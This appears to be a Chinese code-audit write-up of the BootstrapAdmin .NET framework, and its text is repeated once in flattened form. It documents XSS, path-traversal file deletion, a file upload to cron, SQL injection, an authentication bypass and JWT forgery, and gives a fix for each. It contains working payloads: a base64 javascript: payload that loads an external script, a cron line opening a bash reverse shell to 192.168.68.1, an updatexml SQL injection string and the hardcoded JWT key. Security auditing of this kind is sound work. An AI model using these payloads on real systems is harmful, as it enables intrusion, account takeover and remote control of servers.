BootstrapAdmin .Net 代码审计
字数 2277 2025-08-06 12:20:57

BootstrapAdmin .NET 代码审计报告与教学文档

0x00 概述

BootstrapAdmin 是一个基于 RBAC 的 .NET7 后台管理框架,曾获得 GVP 奖杯并拥有 1w+ Star。本报告详细分析了该框架的安全漏洞,包括 XSS、文件操作漏洞、SQL 注入、权限绕过等。

0x01 环境搭建

系统要求

  • 操作系统:Windows 10/CentOS 7
  • .NET SDK 版本:5.0.408
  • 数据库:SQLite/MySQL 8

安装步骤

  1. 克隆项目:

    git clone https://gitee.com/LongbowEnterprise/BootstrapAdmin.git -b v6.0.0
    
  2. 安装 .NET SDK(CentOS 7):

    rpm -Uvh https://packages.microsoft.com/config/centos/7/packages-microsoft-prod.rpm
    yum install -y dotnet-sdk-5.0 git wget net-tools
    
  3. 配置 Nginx 反向代理:

    upstream ba {
        server localhost:50852;
    }
    
    server {
        listen 80;
        server_name localhost;
        location / {
            proxy_pass http://ba/;
        }
    }
    
  4. 启动项目:

    export DOTNET_SYSTEM_GLOBALIZATION_INVARIANT=1
    nohup dotnet run --project ./src/mvc/admin/Bootstrap.Admin &
    

0x02 漏洞分析

1. 前台反射型XSS(无Cookie)

漏洞位置

  • BootstrapAdmin\src\mvc\admin\Bootstrap.Admin\Controllers\HomeController.cs
  • BootstrapAdmin\src\mvc\admin\Bootstrap.Admin\Views\Shared\Error.cshtml

漏洞描述
错误页面中的返回链接未对 ReturnUrl 参数进行过滤,导致可注入 JavaScript 代码。

利用方式

http://localhost:50852/Home/Error/404?ReturnUrl=
javascript:eval(atob('dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHA6Ly94c3N5ZS5jb20vejNxVyI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs='))

修复建议
ReturnUrl 参数进行严格校验,禁止 javascript: 等危险协议。

2. 后台头像任意文件删除

权限要求:后台普通用户权限

漏洞位置
BootstrapAdmin\src\mvc\admin\Bootstrap.Admin\Controllers\Api\ProfilesController.cs

漏洞描述
删除头像功能未对文件名进行校验,导致可通过路径遍历删除任意文件。

利用方式

  1. 登录后台
  2. 上传头像后点击删除
  3. 拦截请求修改 key 参数为 \.don't_delete_me.txt

修复建议

  • 限制文件删除范围为头像目录
  • 对文件名进行规范化处理

3. 后台头像任意文件上传

权限要求:后台普通用户权限

漏洞位置
BootstrapAdmin\src\mvc\admin\Bootstrap.Admin\Controllers\Api\ProfilesController.cs

漏洞描述

  1. 通过修改字典中的头像路径设置实现目录穿越
  2. 上传文件时未校验文件内容和扩展名

利用方式(Linux)

  1. 修改字典表 ~/var/spool/cron/
  2. 上传包含计划任务的文件:
    * * * * * root bash -i >& /dev/tcp/192.168.68.1/6666 0>&1
    

修复建议

  • 限制上传文件类型
  • 禁止修改上传目录到系统敏感位置

4. 前台越权添加账户

漏洞位置
BootstrapAdmin\src\mvc\admin\Bootstrap.Admin\Controllers\Api\RegisterController.cs

漏洞描述
注册接口未校验 ApprovedTimeApprovedBy 参数,导致可绕过管理员审核直接创建有效账户。

利用方式

{
    "UserName": "test",
    "Password": "123456",
    "DisplayName": "test",
    "Description": "test",
    "ApprovedTime": "2023-05-04 18:44:20.9316203",
    "ApprovedBy": "system"
}

修复建议

  • 移除客户端可控的审核字段
  • 强制新注册账户需要管理员审核

5. 前台任意重置密码

漏洞位置
BootstrapAdmin\src\mvc\admin\Bootstrap.Admin\Controllers\Api\RegisterController.cs

漏洞描述
重置密码接口仅检查用户名是否存在,未验证请求者身份,导致可重置任意用户密码。

利用方式

{
    "Password": "123456"
}

修复建议

  • 增加验证码机制
  • 要求提供原密码或验证邮箱/手机号

6. 多接口SQL注入漏洞

漏洞位置
多个数据访问类文件,如:

  • BootstrapAdmin\src\mvc\admin\Bootstrap.DataAccess\Log.cs
  • BootstrapAdmin\src\mvc\admin\Bootstrap.DataAccess\DBLog.cs
  • BootstrapAdmin\src\mvc\admin\Bootstrap.DataAccess\LoginUser.cs

漏洞描述
多个查询接口的 sortorder 参数直接拼接SQL语句,未使用参数化查询。

利用方式(示例)

/api/Logs?order=concat(0x7e,database(),0x7e),3)&sort=updatexml(1,

修复建议

  • 使用参数化查询
  • 对排序字段使用白名单校验

7. 任意JWT伪造

漏洞位置
BootstrapAdmin\src\mvc\admin\Bootstrap.Admin\Startup.cs

漏洞描述
JWT密钥硬编码且未定期更换,导致可伪造任意用户身份令牌。

利用方式

  1. 使用默认密钥 BootstrapAdmin-V1.1 生成JWT
  2. 在请求头中添加:
    Authorization: Bearer [伪造的JWT]
    

修复建议

  • 使用强随机密钥
  • 定期更换密钥
  • 将密钥存储在安全配置中

0x03 安全开发建议

  1. 输入验证

    • 对所有用户输入进行严格校验
    • 使用白名单而非黑名单机制
  2. 权限控制

    • 遵循最小权限原则
    • 服务端校验所有权限
  3. 安全配置

    • 避免硬编码敏感信息
    • 使用安全的默认配置
  4. 安全编码

    • 使用参数化查询防止SQL注入
    • 对输出进行编码防止XSS
    • 安全处理文件操作
  5. 日志监控

    • 记录安全相关事件
    • 设置异常行为告警

0x04 总结

本报告详细分析了BootstrapAdmin框架中的多个安全漏洞,涵盖了从注入漏洞到权限问题的多个方面。通过修复这些漏洞,可以显著提高系统的安全性。建议开发团队定期进行安全审计,并建立安全开发生命周期(SDLC)流程。

BootstrapAdmin .NET 代码审计报告与教学文档 0x00 概述 BootstrapAdmin 是一个基于 RBAC 的 .NET7 后台管理框架,曾获得 GVP 奖杯并拥有 1w+ Star。本报告详细分析了该框架的安全漏洞,包括 XSS、文件操作漏洞、SQL 注入、权限绕过等。 0x01 环境搭建 系统要求 操作系统:Windows 10/CentOS 7 .NET SDK 版本:5.0.408 数据库:SQLite/MySQL 8 安装步骤 克隆项目: 安装 .NET SDK(CentOS 7): 配置 Nginx 反向代理: 启动项目: 0x02 漏洞分析 1. 前台反射型XSS(无Cookie) 漏洞位置 : BootstrapAdmin\src\mvc\admin\Bootstrap.Admin\Controllers\HomeController.cs BootstrapAdmin\src\mvc\admin\Bootstrap.Admin\Views\Shared\Error.cshtml 漏洞描述 : 错误页面中的返回链接未对 ReturnUrl 参数进行过滤,导致可注入 JavaScript 代码。 利用方式 : 修复建议 : 对 ReturnUrl 参数进行严格校验,禁止 javascript: 等危险协议。 2. 后台头像任意文件删除 权限要求 :后台普通用户权限 漏洞位置 : BootstrapAdmin\src\mvc\admin\Bootstrap.Admin\Controllers\Api\ProfilesController.cs 漏洞描述 : 删除头像功能未对文件名进行校验,导致可通过路径遍历删除任意文件。 利用方式 : 登录后台 上传头像后点击删除 拦截请求修改 key 参数为 \.don't_delete_me.txt 修复建议 : 限制文件删除范围为头像目录 对文件名进行规范化处理 3. 后台头像任意文件上传 权限要求 :后台普通用户权限 漏洞位置 : BootstrapAdmin\src\mvc\admin\Bootstrap.Admin\Controllers\Api\ProfilesController.cs 漏洞描述 : 通过修改字典中的头像路径设置实现目录穿越 上传文件时未校验文件内容和扩展名 利用方式(Linux) : 修改字典表 ~/var/spool/cron/ 上传包含计划任务的文件: 修复建议 : 限制上传文件类型 禁止修改上传目录到系统敏感位置 4. 前台越权添加账户 漏洞位置 : BootstrapAdmin\src\mvc\admin\Bootstrap.Admin\Controllers\Api\RegisterController.cs 漏洞描述 : 注册接口未校验 ApprovedTime 和 ApprovedBy 参数,导致可绕过管理员审核直接创建有效账户。 利用方式 : 修复建议 : 移除客户端可控的审核字段 强制新注册账户需要管理员审核 5. 前台任意重置密码 漏洞位置 : BootstrapAdmin\src\mvc\admin\Bootstrap.Admin\Controllers\Api\RegisterController.cs 漏洞描述 : 重置密码接口仅检查用户名是否存在,未验证请求者身份,导致可重置任意用户密码。 利用方式 : 修复建议 : 增加验证码机制 要求提供原密码或验证邮箱/手机号 6. 多接口SQL注入漏洞 漏洞位置 : 多个数据访问类文件,如: BootstrapAdmin\src\mvc\admin\Bootstrap.DataAccess\Log.cs BootstrapAdmin\src\mvc\admin\Bootstrap.DataAccess\DBLog.cs BootstrapAdmin\src\mvc\admin\Bootstrap.DataAccess\LoginUser.cs 漏洞描述 : 多个查询接口的 sort 和 order 参数直接拼接SQL语句,未使用参数化查询。 利用方式(示例) : 修复建议 : 使用参数化查询 对排序字段使用白名单校验 7. 任意JWT伪造 漏洞位置 : BootstrapAdmin\src\mvc\admin\Bootstrap.Admin\Startup.cs 漏洞描述 : JWT密钥硬编码且未定期更换,导致可伪造任意用户身份令牌。 利用方式 : 使用默认密钥 BootstrapAdmin-V1.1 生成JWT 在请求头中添加: 修复建议 : 使用强随机密钥 定期更换密钥 将密钥存储在安全配置中 0x03 安全开发建议 输入验证 : 对所有用户输入进行严格校验 使用白名单而非黑名单机制 权限控制 : 遵循最小权限原则 服务端校验所有权限 安全配置 : 避免硬编码敏感信息 使用安全的默认配置 安全编码 : 使用参数化查询防止SQL注入 对输出进行编码防止XSS 安全处理文件操作 日志监控 : 记录安全相关事件 设置异常行为告警 0x04 总结 本报告详细分析了BootstrapAdmin框架中的多个安全漏洞,涵盖了从注入漏洞到权限问题的多个方面。通过修复这些漏洞,可以显著提高系统的安全性。建议开发团队定期进行安全审计,并建立安全开发生命周期(SDLC)流程。